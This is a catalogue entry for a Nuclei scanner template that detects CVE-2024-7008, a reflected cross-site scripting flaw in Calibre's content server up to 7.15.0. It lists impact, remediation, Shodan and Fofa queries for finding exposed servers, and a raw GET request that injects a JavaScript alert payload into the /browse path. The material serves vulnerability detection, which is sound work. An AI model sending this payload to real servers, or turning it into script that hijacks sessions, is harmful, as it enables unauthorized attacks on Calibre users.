CVE-2024-7008: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
- Template: CVE-2024-7008
- Name: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
- Description: It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
- Impact: Attackers can craft malicious URLs that execute arbitrary JavaScript in victims' browsers, potentially performing unauthorized actions if authentication is enabled and the victim is logged in to the Calibre server.
- Remediation: Update Calibre to a version later than 7.15.0 to address the reflected XSS vulnerability.
- Severity: medium
- Authors: DhiyaneshDK
- Tags: cve, cve2024, calibre, xss, vuln
- References: https://starlabs.sg/advisories/24/24-7008/
- Cves: CVE-2024-7008
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-7008.yaml
- Digest: 4a0a00473045022100cda39e9a9684ef4e66e8ed57e801ade652dd71cc5dc6f00440fe88e7a915ad61022028587a1a72cba706423f8a07cb44bc2f8e7f107c322a9f5546c74591bf5a7c49
- Created at: 2024-08-08T07:26:30Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 838
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-7008.yaml
- Checked, none or zero: products
Classification
- Epss score: 0.25607
- Epss percentile: 0.98006
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, cpe
Metadata
- Fofa-query: Server: calibre
- Max-request: 1
- Shodan-query: html:"Calibre"
- Verified: yes
Labels
- Name: Calibre - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
- Remediation: Implement proper input sanitization and output encoding on the /browse endpoint, and update to the latest version of Calibre.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Victim must click malicious URL while logged in
- Labels source: projectdiscovery
- From cve: CVE-2024-7008
```yaml
id: CVE-2024-7008
info:
name: Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)
author: DhiyaneshDK
severity: medium
description: |
It is possible to inject arbitrary JavaScript code into the /browse endpoint of the Calibre content server, allowing an attacker to craft a URL that when clicked by a victim, will execute the attacker’s JavaScript code in the context of the victim’s browser. If the Calibre server is running with authentication enabled and the victim is logged in at the time, this can be used to cause the victim to perform actions on the Calibre server on behalf of the attacker.
impact: |
Attackers can craft malicious URLs that execute arbitrary JavaScript in victims' browsers, potentially performing unauthorized actions if authentication is enabled and the victim is logged in to the Calibre server.
remediation: |
Update Calibre to a version later than 7.15.0 to address the reflected XSS vulnerability.
reference:
- https://starlabs.sg/advisories/24/24-7008/
classification:
epss-score: 0.25607
epss-percentile: 0.98006
metadata:
verified: true
shodan-query: html:"Calibre"
fofa-query: "Server: calibre"
max-request: 1
tags: cve,cve2024,calibre,xss,vuln
http:
- raw:
- |
GET /browse/book/TEST";window.stop();alert(document.domain);%2f%2f HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- 'window.location.href = "/#book_id=TEST";window.stop();alert(document.domain);//&panel=book_details'
- type: status
status:
- 200
digest: 4a0a00473045022100cda39e9a9684ef4e66e8ed57e801ade652dd71cc5dc6f00440fe88e7a915ad61022028587a1a72cba706423f8a07cb44bc2f8e7f107c322a9f5546c74591bf5a7c49:922c64590222798bb761d5b6d8e72950
```